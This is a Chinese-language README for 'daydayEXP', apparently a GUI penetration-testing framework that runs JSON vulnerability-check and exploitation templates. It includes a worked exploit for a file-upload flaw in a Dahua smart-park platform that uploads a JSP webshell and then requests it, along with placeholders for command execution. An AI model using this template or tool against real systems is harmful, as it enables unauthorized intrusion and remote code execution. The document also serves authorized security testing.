daydayEXP

项目简介：

受nuclei的设计思路影响，基于java fx写的一款支持加载自定义poc文件的、可扩展的的图形化渗透测试框架。项目反响还不错的话还会考虑继续更新....

v0.2更新记录：

更新：

1.新增漏洞管理菜单，支持了POC编辑器，通过输入必要的参数信息自动生成poc文件（不需要自己手动一个个编辑json文件了!）

2.新增一键更新poc模块，一键同步配置文件、仓库POC信息。

使用：

执行命令或用bat批处理脚本打开（直接打开会有中文乱码等问题，并确保poc文件在当前目录下）

食用建议：建议开启代理配合burp食用

java -jar -Dfile.encoding=UTF-8 dadayExp-0.1-jar-with-dependencies.jar   (jdk8)

因为jdk11以后就不自带javafx依赖了,所以运行需要指定javafx路径
java --module-path {javafx lib path} --add-modules ALL-MODULE-PATH -jar dadayExp-0.1-jar-with-dependencies.jar

tips:

某些poc添加完可能存在检测不出来，但是挂上burp代理却能正常检测，这可能是因为header头参数的问题（如Accept-Encoding），需要自行调整header参数。

漏洞检测模块

选择一级列表内容可对所有该标签下的漏洞都进行检测，为多进程，默认线程为5。选择二级则对单个漏洞扫描。（因为多线程用的是继承Callable类，可能界面效果会不太好...）

dnslog：在config.json中配置好dnslog api，面板中设置好dns地址即可食用。应用该功能可减少命令执行无回显或POC返回包特征值不明确导致的误报、漏报。（暂只支持ceye api）

下方例子中就可以看出，是否开启该模块会导致检测结果会有较大出入

漏洞利用模块

点击漏洞利用按钮，会根据当前漏洞的type类型动态生成场景

(命令执行类)

例如命令执行、代码执行、SQL注入xpcmdshell等都归结到这一类

(文件上传类)

例如文件上传、任意文件写入、任意文件覆盖等都归结到这一类

(反序列化类)

开发中~~~~也没有想到较好的设计思路... 可以暂时用反序列化打内存马的poc直接当作文件上传类使用。

POC编写

json文件中除了基本的name、tag等还有poc和exp两个模块(目前exp模块只支持type为upload或exec，如遇到其他类型漏洞，如：反序列化、未授权、sql注入等建议只设置好poc字段进行一个初步漏洞检测，后续手工进行利用)

对照其他poc的json文件，应该就能看懂编写规则。

如果需要新增一个漏洞标签，请在conf.json配置文件中新增，并在项目中"一键更新Poc"

name  :   漏洞名称
tag   ：  漏洞标签（如:fanwei、youyong等，需要正确填写，否则会影响到POC文件正确加载）
type  ：  漏洞类型（如:upload、exec、sql等，需要正确填写，否则影响EXP模块正常使用）
poc   :   漏洞检测
	pocGet:url路径
	pocPost:post数据(需要换行的情况建议用\r\n代替\n)
	header:
	Pattern：匹配返回包存在的特征值，通过匹配该字段确定漏洞是否存在
exp   ：
	step（n）：漏洞利用过程中的请求包先后顺序（step1代表请求的第一个数据包，step2、step3以此类推）
		expGet:url路径
		expPost:post数据
		header:
		Pattern：匹配返回包的内容（正则），当type类型为exec时，用来匹配返回包中的命令执行结果，upload类型则是一般用来匹配文件上传后随机生成的文件名。

例如:

{
  "name":"大华智慧园区管理平台文件上传",          //漏洞名称
  "tag":"dahua",							//漏洞标签（需要正确填写，否则影响POC文件正确加载）	
  "type":"upload",							//漏洞类型（需要正确填写，否则影响EXP模块正常使用）
  "poc": {									//根据模板编写，header头可自行添加修改
    "pocGet": "/publishing/publishing/material/file/video",			
    "pocPost": "id=1",												
    "header": {
      "cookie": "hades-session-id=cbbce521-a761-403d-b699-9849d2cb06b9;",
      "content-type": "multipart/form-data; boundary=----WebKitFormBoundaryCJEleSRxsqS0lAFv",
      "User-Agent": "Mozilla/5.0 (Linux;"
    },
    "Pattern": "(上传文件为空，请重新上传)"		//存在漏洞时返回包存在的关键字（正则表达式必须用（）包含）
  },
  "exp": {									//按step1、step2...先后顺序发包
    "step1": {
      "expGet": "/publishing/publishing/material/file/video",
      "expPost": "------WebKitFormBoundaryCJEleSRxsqS0lAFv\r\nContent-Disposition: form-data; name=\"Filedata\";filename=\"24k.jsp\"\r\n\r\n{webshell}\r\n------WebKitFormBoundaryCJEleSRxsqS0lAFv--",
      "header": {
        "cookie": "hades-session-id=cbbce521-a761-403d-b699-9849d2cb06b9;",
        "content-type": "multipart/form-data; boundary=----WebKitFormBoundaryCJEleSRxsqS0lAFv",
        "User-Agent": "Mozilla/5.0 (Linux;"
      },
      "Pattern": "([0-9]*\\.jsp)"			//第一个包需要正则匹配的话多为文件上传类型，匹配随机生成的jsp脚本名称，如无需匹配返回包则用（）。注意：正则表达式必须用（）包含。
    },
    "step2": {
      "expGet": "/publishingImg/VIDEO/{shellPath}",			//第一个包需要正则匹配的话多为文件上传类型，匹配随机生成的jsp脚本名称
      "header": {
        "cookie": "hades-session-id=cbbce521-a761-403d-b699-9849d2cb06b9;",
        "content-type": "multipart/form-data; boundary=----WebKitFormBoundaryCJEleSRxsqS0lAFv",
        "User-Agent": "Mozilla/5.0 (Linux;"
      },
      "Pattern": "()"
    }
  }
}

占位符：

{仅poc内可用}
{dnslog}:配置好dnslog平台api即可食用。一般应用于命令执行无回显的情况，减少误报率。

{仅exp内可用}
{command}:命令执行
{shellPath}:匹配到返回包中的脚本名称，应用于上传后wenshell文件名随机生成且在返回包中有回显的场景。
{webshell}:需要上传的文件上传内容

{poc、exp内均可使用}
{random}:随机生成4位数字字母，应用于poc中需要不同特征字符的特殊场景
{url}:即当前目标的url地址，应用在一些网站中可能会校验refer头的情况

编码：
Base64Encode:对输入进行base64编码
Base64decode:对输入进行base64解码码
UrlEncode:url编码（全编码）
UrlDecode：url解码
HtmlEncode:HTML编码
HtmlDecode:HTML解码


如：{webshell:Base64Encode:n}，{command:UrlEncode:3}其中n表示编码次数。（如泛微browser注入漏洞可能会用到{command:UrlEncode:3}，其他一般情况编码一次即可）